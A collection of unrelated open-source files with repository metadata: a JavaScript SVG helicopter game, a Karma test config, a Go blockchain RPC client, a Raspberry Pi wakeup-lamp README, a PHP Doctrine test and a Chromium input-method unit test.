var newRotorAngle = this.rotorAngles[(this.rotorAngleIndex) % 4];
var transformStr = ""
for (var i = 0; i < this.droneRotors.length; i++) {
transformStr = "scale(1, 0.5) rotate(" + newRotorAngle + ", " +
this.rotorCenters[i % 4][0] + "," + this.rotorCenters[i % 4][1] + ")";
this.droneRotors[i].setAttribute("transform", transformStr);
}
this.rotorAngleIndex = this.rotorAngleIndex + 1;
this.currentX = this.currentX + 3;
document.getElementById("drone-" + this.id).setAttribute("transform", "translate(" + this.currentX + ", 0)");
var roadTest = document.getElementsByClassName("roads");
for (var i = 0; i < roadTest.length; i++) {
roadTest[i].setAttribute("transform", "translate(" + ((-this.currentX * 4) % 6152) + ", 0)");
}
}
}
function addDroneToGameSvg() {
var svgObject = document.getElementById("droneSVG").cloneNode(true);
svgObject.innerHTML = svgObject.innerHTML.replace("drone", "drone-" + droneIndex);
gameSvg.innerHTML = gameSvg.innerHTML + svgObject.innerHTML;
currentDrone = Object.create(Drone);
currentDrone.init(droneIndex);
droneIndex = droneIndex + 1;
}
addDroneToGameSvg();
var Helicopter = {
helicopterRotor: null,
rotorAngles: [0, 30, 60, 90],
rotorAngleIndex: 0,
currentX: 0,
currentY: 0,
goingLeftScale: "",
id: 0,
init: function(id) {
this.id = id;
},
animate: function() {
this.helicopterRotor = document.getElementById("rotor");
var newRotorAngle = this.rotorAngles[(this.rotorAngleIndex) % 4];
document.getElementById("rotor").setAttribute("transform",
"scale(1, 0.5) rotate(" + newRotorAngle + ", 200, 200)");
this.rotorAngleIndex = this.rotorAngleIndex + 1;
if(input.activeKeys["up"]){
this.currentY = this.currentY - 2;
}
if(input.activeKeys["down"]){
this.currentY = this.currentY + 2;
}
if(input.activeKeys["right"]){
if(this.goingLeftScale == ""){
this.currentX = this.currentX + 2;
}else{
this.currentX = this.currentX - 320;
}
this.goingLeftScale = "";
}
if(input.activeKeys["left"]){
if(this.goingLeftScale == ""){
this.currentX = this.currentX + 320;
}else{
this.currentX = this.currentX - 2;
}
this.goingLeftScale = " scale(-1, 1)";
}
document.getElementById("helicopter-" + this.id).setAttribute("transform", "translate(" + this.currentX
+ ", " + this.currentY + ") " + this.goingLeftScale );
}
}
var addRoad = function(numberOfLanes, roadWidth, isDoubleLane) {
var svgOut = "<g id=\"road\">";
var singleRoadWidth = roadWidth / numberOfLanes;
var mainRoadStr = "<rect x=0 y=60% ";
svgOut = svgOut + "</g>"
return svgOut;
}
function addHelicopterToGameSvg() {
var svgObject = document.getElementById("helicopterSVG");
svgObject.innerHTML = svgObject.innerHTML.replace("helicopter", "helicopter-" + helicopterIndex);
gameSvg.innerHTML = gameSvg.innerHTML + svgObject.innerHTML;
currentHelicopter = Object.create(Helicopter);
currentHelicopter.init(helicopterIndex);
helicopterIndex = helicopterIndex + 1;
}
addHelicopterToGameSvg();
var initAudio = function() {
currentAudio = Object.create(AudioFx);
currentAudio.init();
currentAudio.createAudioEffect("helicopter", [3, 0.07, 0.98, 0.93, 0.02, 0.99, 0.02, -0.0446, -0.795, -0.4853, , -0.2643, -0.8611, 0.6616, -0.2374, 0.56, -0.7325, -0.5616, 0.7616, 0.0002, 0.5283, 0.0002, -0.0401, 0.98], 0.05, true);
currentAudio.createAudioEffect("ambulance", [0, 0.06, 1, 0.1073, 0.04, 0.53, , -0.0999, -0.0513, , , 0.5797, -0.8734, 0.676, 0.0412, 0.1568, -0.0006, 0.0157, 0.5142, 0.0102, 0.4686, 0.1025, -0.0003, 0.87], 0.04, true);
currentAudio.createAudioEffect("explosion", [3, , 0.68, 0.77, 0.53, 0.25, 0.07, -0.02, , 0.01, 0.01, -0.4575, 0.7135, , , , , , 1, , , , , 0.5], 0.05, true);
currentAudio.createAudioEffect("train", [3, , 0.56, 0.01, , 0.17, , -0.0143, 0.657, , 0.328, -0.995, , 0.087, 0.4382, 0.49, 0.5676, 0.013, 0.3686, -0.0035, , 0.0002, 0.0142, 0.87], 0.05, true);
currentAudio.createAudioEffect("drone", [3, 0.01, 0.98, 0.93, 0.02, 0.99, 0.04, -0.0446, -0.795, , , -0.2643, , 0.6616, -0.2374, 0.6, 0.76, 0.58, 0.98, 0.9199, 0.55, 0.51, -0.0401, 0.98], 0.05, true);
}
var currentAudio = null;
initAudio();
var soundPlaying = false;
var ambulanceSoundPlaying = false;
var sounds = ["helicopter", "explosion", "train"];
var currentSoundIdx = 0;
function update(dt) {
currentAmbulance.animate();
currentHelicopter.animate();
currentDrone.animate();
if (!soundPlaying) {
if(currentAudio.playSoundfx(sounds[currentSoundIdx])){
soundPlaying = true;
}
}
if (!ambulanceSoundPlaying) {
if(currentAudio.playSoundfx("ambulance")){
currentAudio.playSoundfx("drone");
ambulanceSoundPlaying = true;
}
}
}
input.registerInputEvents();
util.initFPSMeter();
renderLoop();
function renderLoop(now) {
util.getFps(now);
update();
handle = window.requestAnimationFrame(renderLoop);
}
| {
"content_hash": "167122c6685952e419438076af30aae6",
"timestamp": "",
"source": "github",
"line_count": 271,
"max_line_length": 240,
"avg_line_length": 41.254612546125465,
"alnum_prop": 0.5254919499105546,
"repo_name": "rsksenthil/Y2K-30",
"id": "54f7462a3473a71d6afa9fc1a8b1b504c94dea7b",
"size": "11180",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "js/game.js",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "HTML",
"bytes": "19609"
},
{
"name": "JavaScript",
"bytes": "29411"
}
],
"symlink_target": ""
} |
var WebpackRewirePlugin = require('rewire-webpack');
module.exports = function(config) {
config.set({
// base path that will be used to resolve all patterns (eg. files, exclude)
basePath: '',
// frameworks to use
// available frameworks: https://npmjs.org/browse/keyword/karma-adapter
frameworks: ['jasmine'],
// list of files / patterns to load in the browser
files: [
'test/*.spec.js'
],
// list of files to exclude
exclude: [
],
// preprocess matching files before serving them to the browser
// available preprocessors: https://npmjs.org/browse/keyword/karma-preprocessor
preprocessors: {
'test/*.spec.js': ['webpack']
},
// webpack configuration
webpack: {
plugins: [new WebpackRewirePlugin()]
},
// test results reporter to use
// possible values: 'dots', 'progress'
// available reporters: https://npmjs.org/browse/keyword/karma-reporter
reporters: ['progress'],
// web server port
port: 9876,
// enable / disable colors in the output (reporters and logs)
colors: true,
// level of logging
// possible values: config.LOG_DISABLE || config.LOG_ERROR || config.LOG_WARN || config.LOG_INFO || config.LOG_DEBUG
logLevel: config.LOG_INFO,
// enable / disable watching file and executing tests whenever any file changes
autoWatch: true,
// start these browsers
// available browser launchers: https://npmjs.org/browse/keyword/karma-launcher
browsers: ['Chrome'],
// Continuous Integration mode
// if true, Karma captures browsers, runs the tests and exits
singleRun: false
});
};
| {
"content_hash": "88fd16bbe9d0eb03a5d2e5a8e8db05fa",
"timestamp": "",
"source": "github",
"line_count": 72,
"max_line_length": 120,
"avg_line_length": 23.38888888888889,
"alnum_prop": 0.6484560570071259,
"repo_name": "katranci/PositionSticky",
"id": "d3593eca6ef95d7d84b89d28dca0fb832d38ed42",
"size": "1684",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "karma.conf.js",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "CSS",
"bytes": "9270"
},
{
"name": "JavaScript",
"bytes": "69735"
}
],
"symlink_target": ""
} |
package sdk
import (
"math/big"
"github.com/fractalplatform/fractal/params"
"github.com/ethereum/go-ethereum/common/hexutil"
"github.com/fractalplatform/fractal/common"
"github.com/fractalplatform/fractal/rpc"
"github.com/fractalplatform/fractal/types"
)
// SendRawTransaction send signed tx
func (api *API) SendRawTransaction(rawTx []byte) (common.Hash, error) {
hash := new(common.Hash)
err := api.client.Call(hash, "ft_sendRawTransaction", hexutil.Bytes(rawTx))
return *hash, err
}
// GetCurrentBlock get current block info
func (api *API) GetCurrentBlock(fullTx bool) (map[string]interface{}, error) {
block := map[string]interface{}{}
err := api.client.Call(&block, "ft_getCurrentBlock", fullTx)
return block, err
}
// GetBlockByHash get block info
func (api *API) GetBlockByHash(hash common.Hash, fullTx bool) (map[string]interface{}, error) {
block := map[string]interface{}{}
err := api.client.Call(&block, "ft_getBlockByHash", hash, fullTx)
return block, err
}
// GetBlockByNumber get block info
func (api *API) GetBlockByNumber(number int64, fullTx bool) (map[string]interface{}, error) {
block := map[string]interface{}{}
err := api.client.Call(&block, "ft_getBlockByNumber", rpc.BlockNumber(number), fullTx)
return block, err
}
// GetTransactionByHash get tx info by hash
func (api *API) GetTransactionByHash(hash common.Hash) (*types.RPCTransaction, error) {
tx := &types.RPCTransaction{}
err := api.client.Call(tx, "ft_getTransactionByHash", hash)
return tx, err
}
// GetTransactionReceiptByHash get tx info by hash
func (api *API) GetTransactionReceiptByHash(hash common.Hash) (*types.RPCReceipt, error) {
receipt := &types.RPCReceipt{}
err := api.client.Call(receipt, "ft_getTransactionReceipt", hash)
return receipt, err
}
// GasPrice get gas price
func (api *API) GasPrice() (*big.Int, error) {
gasprice := big.NewInt(0)
err := api.client.Call(gasprice, "ft_gasPrice")
return gasprice, err
}
// GetChainConfig get chain config
func (api *API) GetChainConfig() (*params.ChainConfig, error) {
cfg := ¶ms.ChainConfig{}
err := api.client.Call(cfg, "ft_getChainConfig")
return cfg, err
}
// // GetGenesis get chain config
// func (api *API) GetGenesis() (*params.ChainConfig, error) {
// cfg := ¶ms.ChainConfig{}
// err := api.client.Call(cfg, "ft_getGenesis")
// return cfg, err
// }
| {
"content_hash": "f56ab66141aa9a885a216d9a224c282f",
"timestamp": "",
"source": "github",
"line_count": 75,
"max_line_length": 95,
"avg_line_length": 31.346666666666668,
"alnum_prop": 0.7218205019140791,
"repo_name": "fractalPlatform/Fractal",
"id": "225fb8238f9d1e11d67b8c43130b31141c5665d6",
"size": "3087",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "sdk/api_ft.go",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "HTML",
"bytes": "400"
},
{
"name": "JavaScript",
"bytes": "14839"
},
{
"name": "TypeScript",
"bytes": "113047"
}
],
"symlink_target": ""
} |
Wakeup-Lamp
===========
## **WARNING:** This project users mains voltage and misuse or lack of knowledge could result in severe injury or even death.
If you don't know what you are doing or are unsure of what you are doing don't attempt this project.
The software required to make a wakeup lamp using a Raspberry Pi, Velleman K8064 DC Controlled Dimmer and a beside lamp.
The code is written in python and users a couple of interesting techniques such as
* A finite state machine
* A PWM (Pulse Width Modulation)
In the future I hope to implement a software implemented capacitance touch switch
If I ever get around to it I will post full instructions on [my blog](http://www.my-side-projects.blogspot.co.uk)
**Parts List**
* A Velleman K8064 DC Controlled Dimmer
* Raspberry Pi - www.raspberrypi.org
* SD Card for the Raspberry Pi
* Micro USB Power supply for the Raspberry Pi
* A Wi-Fi dongle for the Raspberry Pi
* Female GPIO wires to connect the Raspberry Pi to the Velleman K8064 Dimmer
* A bedside lamp with enough room to house all the components, I used the Sången lamp from Ikea - http://www.ikea.com/gb/en/catalog/products/50206225
* Perspex to insulate the inside of the lamp from the electronic components
| {
"content_hash": "dc800a621ffe389a3b77b2ded96329a2",
"timestamp": "",
"source": "github",
"line_count": 25,
"max_line_length": 149,
"avg_line_length": 49.04,
"alnum_prop": 0.7707993474714518,
"repo_name": "thelukemccarthy/Wakeup-Lamp",
"id": "a14c5935d106ebc1588c5a05c2e0a0028adb8171",
"size": "1227",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "README.md",
"mode": "33188",
"license": "bsd-2-clause",
"language": [
{
"name": "CSS",
"bytes": "848"
},
{
"name": "CoffeeScript",
"bytes": "229"
},
{
"name": "JavaScript",
"bytes": "641"
},
{
"name": "Python",
"bytes": "4845"
},
{
"name": "Ruby",
"bytes": "18608"
},
{
"name": "Shell",
"bytes": "68"
}
],
"symlink_target": ""
} |
<?php
namespace Doctrine\ODM\MongoDB\Tests\Functional\Ticket;
class MODM117Test extends \Doctrine\ODM\MongoDB\Tests\BaseTest
{
public function testIssue()
{
$user = new MODM117User();
$user->first_name = 'jon';
$user->last_name = 'wage';
$this->dm->persist($user);
$this->dm->flush();
$check = $this->dm->getDocumentCollection(get_class($user))->findOne();
$this->assertEquals('jon', $check['first_name']);
$this->assertEquals('wage', $check['last_name']);
}
}
/** @Document */
class MODM117User
{
/** @Id */
public $id;
/** @Field(type="string") */
public $first_name;
/** @Field(type="string", name="last_name") */
protected $_last_name;
public function __get($name)
{
return $this->{'_'.$name};
}
public function __set($name, $value)
{
$this->{'_'.$name} = $value;
}
} | {
"content_hash": "d6773d3f095f6d91daccdcc7b22a5f1b",
"timestamp": "",
"source": "github",
"line_count": 42,
"max_line_length": 79,
"avg_line_length": 21.88095238095238,
"alnum_prop": 0.5495103373231773,
"repo_name": "l3l0/BehatExamples",
"id": "e22f66431a3279bf59a4cee24a32f3fc83591feb",
"size": "919",
"binary": false,
"copies": "3",
"ref": "refs/heads/master",
"path": "vendor/doctrine-mongodb-odm/tests/Doctrine/ODM/MongoDB/Tests/Functional/Ticket/MODM117Test.php",
"mode": "33188",
"license": "mit",
"language": [],
"symlink_target": ""
} |
using base::ASCIIToUTF16;
namespace chromeos {
extern const char* kExtensionImePrefix;
namespace input_method {
namespace {
const char pinyin_ime_id[] = "zh-t-i0-pinyin";
const char zhuyin_ime_id[] = "zh-hant-t-i0-und";
class TestableInputMethodUtil : public InputMethodUtil {
public:
explicit TestableInputMethodUtil(InputMethodDelegate* delegate,
scoped_ptr<InputMethodDescriptors> methods)
: InputMethodUtil(delegate) {
ResetInputMethods(*methods);
}
// Change access rights.
using InputMethodUtil::GetInputMethodIdsFromLanguageCodeInternal;
using InputMethodUtil::GetKeyboardLayoutName;
};
} // namespace
class InputMethodUtilTest : public testing::Test {
public:
InputMethodUtilTest()
: util_(&delegate_, whitelist_.GetSupportedInputMethods()) {
delegate_.set_get_localized_string_callback(
base::Bind(&l10n_util::GetStringUTF16));
delegate_.set_get_display_language_name_callback(
base::Bind(&InputMethodUtilTest::GetDisplayLanguageName));
}
virtual void SetUp() OVERRIDE {
InputMethodDescriptors input_methods;
std::vector<std::string> layouts;
std::vector<std::string> languages;
layouts.push_back("us");
languages.push_back("zh-CN");
InputMethodDescriptor pinyin_ime(Id(pinyin_ime_id),
"Pinyin input for testing",
"CN",
layouts,
languages,
false,
GURL(""),
GURL(""));
input_methods.push_back(pinyin_ime);
languages.clear();
languages.push_back("zh-TW");
InputMethodDescriptor zhuyin_ime(zhuyin_ime_id,
"Zhuyin input for testing",
"TW",
layouts,
languages,
false,
GURL(""),
GURL(""));
input_methods.push_back(zhuyin_ime);
util_.InitXkbInputMethodsForTesting();
util_.AppendInputMethods(input_methods);
}
std::string Id(const std::string& id) {
return extension_ime_util::GetInputMethodIDByEngineID(id);
}
InputMethodDescriptor GetDesc(const std::string& id,
const std::string& raw_layout,
const std::string& language_code,
const std::string& indicator) {
std::vector<std::string> layouts;
layouts.push_back(raw_layout);
std::vector<std::string> languages;
languages.push_back(language_code);
return InputMethodDescriptor(Id(id),
"", // Description.
indicator, // Short name used for indicator.
layouts,
languages,
true,
GURL(), // options page url
GURL()); // input view page url
}
static base::string16 GetDisplayLanguageName(const std::string& language_code) {
return l10n_util::GetDisplayNameForLocale(language_code, "en", true);
}
FakeInputMethodDelegate delegate_;
InputMethodWhitelist whitelist_;
TestableInputMethodUtil util_;
};
TEST_F(InputMethodUtilTest, GetInputMethodShortNameTest) {
// Test invalid cases. Two-letter language code should be returned.
{
InputMethodDescriptor desc = GetDesc("invalid-id", "us", "xx", "");
// Upper-case string of the unknown language code, "xx", should be returned.
EXPECT_EQ(ASCIIToUTF16("XX"), util_.GetInputMethodShortName(desc));
}
// Test special cases.
{
InputMethodDescriptor desc =
GetDesc("xkb:us:dvorak:eng", "us", "en-US", "DV");
EXPECT_EQ(ASCIIToUTF16("DV"), util_.GetInputMethodShortName(desc));
}
{
InputMethodDescriptor desc =
GetDesc("xkb:us:colemak:eng", "us", "en-US", "CO");
EXPECT_EQ(ASCIIToUTF16("CO"), util_.GetInputMethodShortName(desc));
}
{
InputMethodDescriptor desc =
GetDesc("xkb:us:altgr-intl:eng", "us", "en-US", "EXTD");
EXPECT_EQ(ASCIIToUTF16("EXTD"), util_.GetInputMethodShortName(desc));
}
{
InputMethodDescriptor desc =
GetDesc("xkb:us:intl:eng", "us", "en-US", "INTL");
EXPECT_EQ(ASCIIToUTF16("INTL"), util_.GetInputMethodShortName(desc));
}
{
InputMethodDescriptor desc =
GetDesc("xkb:de:neo:ger", "de(neo)", "de", "NEO");
EXPECT_EQ(ASCIIToUTF16("NEO"), util_.GetInputMethodShortName(desc));
}
{
InputMethodDescriptor desc =
GetDesc("xkb:es:cat:cat", "es(cat)", "ca", "CAS");
EXPECT_EQ(ASCIIToUTF16("CAS"), util_.GetInputMethodShortName(desc));
}
{
InputMethodDescriptor desc =
GetDesc(pinyin_ime_id, "us", "zh-CN", "");
EXPECT_EQ(base::UTF8ToUTF16("\xe6\x8b\xbc"),
util_.GetInputMethodShortName(desc));
}
{
InputMethodDescriptor desc = GetDesc(zhuyin_ime_id, "us", "zh-TW", "");
EXPECT_EQ(base::UTF8ToUTF16("\xE6\xB3\xA8"),
util_.GetInputMethodShortName(desc));
}
}
TEST_F(InputMethodUtilTest, GetInputMethodMediumNameTest) {
{
// input methods with medium name equal to short name
const char * input_method_id[] = {
"xkb:us:altgr-intl:eng",
"xkb:us:dvorak:eng",
"xkb:us:intl:eng",
"xkb:us:colemak:eng",
"xkb:de:neo:ger",
"xkb:es:cat:cat",
"xkb:gb:dvorak:eng",
};
const int len = ARRAYSIZE_UNSAFE(input_method_id);
for (int i=0; i<len; ++i) {
InputMethodDescriptor desc = GetDesc(input_method_id[i], "", "", "");
base::string16 medium_name = util_.GetInputMethodMediumName(desc);
base::string16 short_name = util_.GetInputMethodShortName(desc);
EXPECT_EQ(medium_name,short_name);
}
}
{
// input methods with medium name not equal to short name
const char * input_method_id[] = {
pinyin_ime_id,
zhuyin_ime_id,
};
const int len = ARRAYSIZE_UNSAFE(input_method_id);
for (int i=0; i<len; ++i) {
InputMethodDescriptor desc = GetDesc(input_method_id[i], "", "", "");
base::string16 medium_name = util_.GetInputMethodMediumName(desc);
base::string16 short_name = util_.GetInputMethodShortName(desc);
EXPECT_NE(medium_name,short_name);
}
}
}
TEST_F(InputMethodUtilTest, GetInputMethodLongNameTest) {
// For most languages input method or keyboard layout name is returned.
// See below for exceptions.
{
InputMethodDescriptor desc = GetDesc("xkb:jp::jpn", "jp", "ja", "");
EXPECT_EQ(ASCIIToUTF16("Japanese"),
util_.GetInputMethodLongName(desc));
}
{
InputMethodDescriptor desc =
GetDesc("xkb:us:dvorak:eng", "us(dvorak)", "en-US", "");
EXPECT_EQ(ASCIIToUTF16("US Dvorak"),
util_.GetInputMethodLongName(desc));
}
{
InputMethodDescriptor desc =
GetDesc("xkb:gb:dvorak:eng", "gb(dvorak)", "en-US", "");
EXPECT_EQ(ASCIIToUTF16("UK Dvorak"),
util_.GetInputMethodLongName(desc));
}
// For Dutch, French, German and Hindi,
// "language - keyboard layout" pair is returned.
{
InputMethodDescriptor desc = GetDesc("xkb:be::nld", "be", "nl", "");
EXPECT_EQ(ASCIIToUTF16("Dutch - Belgian"),
util_.GetInputMethodLongName(desc));
}
{
InputMethodDescriptor desc = GetDesc("xkb:fr::fra", "fr", "fr", "");
EXPECT_EQ(ASCIIToUTF16("French - French"),
util_.GetInputMethodLongName(desc));
}
{
InputMethodDescriptor desc = GetDesc("xkb:be::fra", "be", "fr", "");
EXPECT_EQ(ASCIIToUTF16("French - Belgian"),
util_.GetInputMethodLongName(desc));
}
{
InputMethodDescriptor desc = GetDesc("xkb:de::ger", "de", "de", "");
EXPECT_EQ(ASCIIToUTF16("German - German"),
util_.GetInputMethodLongName(desc));
}
{
InputMethodDescriptor desc = GetDesc("xkb:be::ger", "be", "de", "");
EXPECT_EQ(ASCIIToUTF16("German - Belgian"),
util_.GetInputMethodLongName(desc));
}
{
InputMethodDescriptor desc = GetDesc("invalid-id", "us", "xx", "");
// You can safely ignore the "Resouce ID is not found for: invalid-id"
// error.
EXPECT_EQ(ASCIIToUTF16("invalid-id"),
util_.GetInputMethodLongName(desc));
}
}
TEST_F(InputMethodUtilTest, TestIsValidInputMethodId) {
EXPECT_TRUE(util_.IsValidInputMethodId(Id("xkb:us:colemak:eng")));
EXPECT_TRUE(util_.IsValidInputMethodId(Id(pinyin_ime_id)));
EXPECT_FALSE(util_.IsValidInputMethodId("unsupported-input-method"));
}
TEST_F(InputMethodUtilTest, TestIsKeyboardLayout) {
EXPECT_TRUE(InputMethodUtil::IsKeyboardLayout("xkb:us::eng"));
EXPECT_FALSE(InputMethodUtil::IsKeyboardLayout(Id(pinyin_ime_id)));
}
TEST_F(InputMethodUtilTest, TestGetKeyboardLayoutName) {
// Unsupported case.
EXPECT_EQ("", util_.GetKeyboardLayoutName("UNSUPPORTED_ID"));
// Supported cases (samples).
EXPECT_EQ("us", util_.GetKeyboardLayoutName(Id(pinyin_ime_id)));
EXPECT_EQ("es", util_.GetKeyboardLayoutName(Id("xkb:es::spa")));
EXPECT_EQ("es(cat)", util_.GetKeyboardLayoutName(Id("xkb:es:cat:cat")));
EXPECT_EQ("gb(extd)", util_.GetKeyboardLayoutName(Id("xkb:gb:extd:eng")));
EXPECT_EQ("us", util_.GetKeyboardLayoutName(Id("xkb:us::eng")));
EXPECT_EQ("us(dvorak)", util_.GetKeyboardLayoutName(Id("xkb:us:dvorak:eng")));
EXPECT_EQ("us(colemak)",
util_.GetKeyboardLayoutName(Id("xkb:us:colemak:eng")));
EXPECT_EQ("de(neo)", util_.GetKeyboardLayoutName(Id("xkb:de:neo:ger")));
}
TEST_F(InputMethodUtilTest, TestGetInputMethodDisplayNameFromId) {
EXPECT_EQ("US",
util_.GetInputMethodDisplayNameFromId("xkb:us::eng"));
EXPECT_EQ("", util_.GetInputMethodDisplayNameFromId("nonexistent"));
}
TEST_F(InputMethodUtilTest, TestGetInputMethodDescriptorFromId) {
EXPECT_EQ(NULL, util_.GetInputMethodDescriptorFromId("non_existent"));
const InputMethodDescriptor* descriptor =
util_.GetInputMethodDescriptorFromId(Id(pinyin_ime_id));
ASSERT_TRUE(NULL != descriptor); // ASSERT_NE doesn't compile.
EXPECT_EQ(Id(pinyin_ime_id), descriptor->id());
EXPECT_EQ("us", descriptor->GetPreferredKeyboardLayout());
// This used to be "zh" but now we have "zh-CN" in input_methods.h,
// hence this should be zh-CN now.
ASSERT_TRUE(!descriptor->language_codes().empty());
EXPECT_EQ("zh-CN", descriptor->language_codes().at(0));
}
TEST_F(InputMethodUtilTest, TestGetInputMethodIdsForLanguageCode) {
std::multimap<std::string, std::string> language_code_to_ids_map;
language_code_to_ids_map.insert(std::make_pair("ja", pinyin_ime_id));
language_code_to_ids_map.insert(std::make_pair("ja", pinyin_ime_id));
language_code_to_ids_map.insert(std::make_pair("ja", "xkb:jp:jpn"));
language_code_to_ids_map.insert(std::make_pair("fr", "xkb:fr:fra"));
std::vector<std::string> result;
EXPECT_TRUE(util_.GetInputMethodIdsFromLanguageCodeInternal(
language_code_to_ids_map, "ja", kAllInputMethods, &result));
EXPECT_EQ(3U, result.size());
EXPECT_TRUE(util_.GetInputMethodIdsFromLanguageCodeInternal(
language_code_to_ids_map, "ja", kKeyboardLayoutsOnly, &result));
ASSERT_EQ(1U, result.size());
EXPECT_EQ("xkb:jp:jpn", result[0]);
EXPECT_TRUE(util_.GetInputMethodIdsFromLanguageCodeInternal(
language_code_to_ids_map, "fr", kAllInputMethods, &result));
ASSERT_EQ(1U, result.size());
EXPECT_EQ("xkb:fr:fra", result[0]);
EXPECT_TRUE(util_.GetInputMethodIdsFromLanguageCodeInternal(
language_code_to_ids_map, "fr", kKeyboardLayoutsOnly, &result));
ASSERT_EQ(1U, result.size());
EXPECT_EQ("xkb:fr:fra", result[0]);
EXPECT_FALSE(util_.GetInputMethodIdsFromLanguageCodeInternal(
language_code_to_ids_map, "invalid_lang", kAllInputMethods, &result));
EXPECT_FALSE(util_.GetInputMethodIdsFromLanguageCodeInternal(
language_code_to_ids_map, "invalid_lang", kKeyboardLayoutsOnly, &result));
}
// US keyboard + English US UI = US keyboard only.
TEST_F(InputMethodUtilTest, TestGetFirstLoginInputMethodIds_Us_And_EnUs) {
const InputMethodDescriptor* descriptor =
util_.GetInputMethodDescriptorFromId(Id("xkb:us::eng")); // US keyboard.
ASSERT_TRUE(NULL != descriptor); // ASSERT_NE doesn't compile.
std::vector<std::string> input_method_ids;
util_.GetFirstLoginInputMethodIds("en-US", *descriptor, &input_method_ids);
ASSERT_EQ(1U, input_method_ids.size());
EXPECT_EQ(Id("xkb:us::eng"), input_method_ids[0]);
}
// US keyboard + Chinese UI = US keyboard + Pinyin IME.
TEST_F(InputMethodUtilTest, TestGetFirstLoginInputMethodIds_Us_And_Zh) {
const InputMethodDescriptor* descriptor =
util_.GetInputMethodDescriptorFromId(Id("xkb:us::eng")); // US keyboard.
ASSERT_TRUE(NULL != descriptor); // ASSERT_NE doesn't compile.
std::vector<std::string> input_method_ids;
util_.GetFirstLoginInputMethodIds("zh-CN", *descriptor, &input_method_ids);
ASSERT_EQ(2U, input_method_ids.size());
EXPECT_EQ(Id("xkb:us::eng"), input_method_ids[0]);
EXPECT_EQ(Id(pinyin_ime_id), input_method_ids[1]); // Pinyin for US keybaord.
}
// US keyboard + Russian UI = US keyboard + Russsian keyboard
TEST_F(InputMethodUtilTest, TestGetFirstLoginInputMethodIds_Us_And_Ru) {
const InputMethodDescriptor* descriptor =
util_.GetInputMethodDescriptorFromId(Id("xkb:us::eng")); // US keyboard.
ASSERT_TRUE(NULL != descriptor); // ASSERT_NE doesn't compile.
std::vector<std::string> input_method_ids;
util_.GetFirstLoginInputMethodIds("ru", *descriptor, &input_method_ids);
ASSERT_EQ(2U, input_method_ids.size());
EXPECT_EQ(Id("xkb:us::eng"), input_method_ids[0]);
EXPECT_EQ(Id("xkb:ru::rus"), input_method_ids[1]); // Russian keyboard.
}
// US keyboard + Traditional Chinese = US keyboard + chewing.
TEST_F(InputMethodUtilTest, TestGetFirstLoginInputMethodIds_Us_And_ZhTw) {
const InputMethodDescriptor* descriptor =
util_.GetInputMethodDescriptorFromId(Id("xkb:us::eng")); // US keyboard.
ASSERT_TRUE(NULL != descriptor); // ASSERT_NE doesn't compile.
std::vector<std::string> input_method_ids;
util_.GetFirstLoginInputMethodIds("zh-TW", *descriptor, &input_method_ids);
ASSERT_EQ(2U, input_method_ids.size());
EXPECT_EQ(Id("xkb:us::eng"), input_method_ids[0]);
EXPECT_EQ(Id(zhuyin_ime_id), input_method_ids[1]); // Chewing.
}
// US keyboard + Thai = US keyboard + kesmanee.
TEST_F(InputMethodUtilTest, TestGetFirstLoginInputMethodIds_Us_And_Th) {
const InputMethodDescriptor* descriptor =
util_.GetInputMethodDescriptorFromId(Id("xkb:us::eng")); // US keyboard.
ASSERT_TRUE(NULL != descriptor); // ASSERT_NE doesn't compile.
std::vector<std::string> input_method_ids;
util_.GetFirstLoginInputMethodIds("th", *descriptor, &input_method_ids);
ASSERT_EQ(2U, input_method_ids.size());
EXPECT_EQ(Id("xkb:us::eng"), input_method_ids[0]);
EXPECT_EQ(Id("vkd_th"), input_method_ids[1]); // Kesmanee.
}
// US keyboard + Vietnamese = US keyboard + TCVN6064.
TEST_F(InputMethodUtilTest, TestGetFirstLoginInputMethodIds_Us_And_Vi) {
const InputMethodDescriptor* descriptor =
util_.GetInputMethodDescriptorFromId(Id("xkb:us::eng")); // US keyboard.
ASSERT_TRUE(NULL != descriptor); // ASSERT_NE doesn't compile.
std::vector<std::string> input_method_ids;
util_.GetFirstLoginInputMethodIds("vi", *descriptor, &input_method_ids);
ASSERT_EQ(2U, input_method_ids.size());
EXPECT_EQ(Id("xkb:us::eng"), input_method_ids[0]);
EXPECT_EQ(Id("vkd_vi_tcvn"), input_method_ids[1]); // TCVN6064.
}
TEST_F(InputMethodUtilTest, TestGetLanguageCodesFromInputMethodIds) {
std::vector<std::string> input_method_ids;
input_method_ids.push_back(Id("xkb:us::eng")); // English US.
input_method_ids.push_back(Id("xkb:us:dvorak:eng")); // English US Dvorak.
input_method_ids.push_back(Id(pinyin_ime_id)); // Pinyin
input_method_ids.push_back(Id("xkb:fr::fra")); // French France.
std::vector<std::string> language_codes;
util_.GetLanguageCodesFromInputMethodIds(input_method_ids, &language_codes);
ASSERT_EQ(3U, language_codes.size());
EXPECT_EQ("en", language_codes[0]);
EXPECT_EQ("zh-CN", language_codes[1]);
EXPECT_EQ("fr", language_codes[2]);
}
// Test all supported descriptors to detect a typo in input_methods.txt.
TEST_F(InputMethodUtilTest, TestIBusInputMethodText) {
const std::map<std::string, InputMethodDescriptor>& id_to_descriptor =
util_.GetIdToDesciptorMapForTesting();
for (std::map<std::string, InputMethodDescriptor>::const_iterator it =
id_to_descriptor.begin(); it != id_to_descriptor.end(); ++it) {
const std::string language_code = it->second.language_codes().at(0);
const base::string16 display_name =
l10n_util::GetDisplayNameForLocale(language_code, "en", false);
// Only two formats, like "fr" (lower case) and "en-US" (lower-upper), are
// allowed. See the text file for details.
EXPECT_TRUE(language_code == "fil" || language_code.length() == 2 ||
(language_code.length() == 5 && language_code[2] == '-'))
<< "Invalid language code " << language_code;
EXPECT_TRUE(l10n_util::IsValidLocaleSyntax(language_code))
<< "Invalid language code " << language_code;
EXPECT_FALSE(display_name.empty())
<< "Invalid language code " << language_code;
// On error, GetDisplayNameForLocale() returns the |language_code| as-is.
EXPECT_NE(language_code, base::UTF16ToUTF8(display_name))
<< "Invalid language code " << language_code;
}
}
} // namespace input_method
} // namespace chromeos
| {
"content_hash": "5a09df0a85cdfed26e47f668d20af6f6",
"timestamp": "",
"source": "github",
"line_count": 437,
"max_line_length": 82,
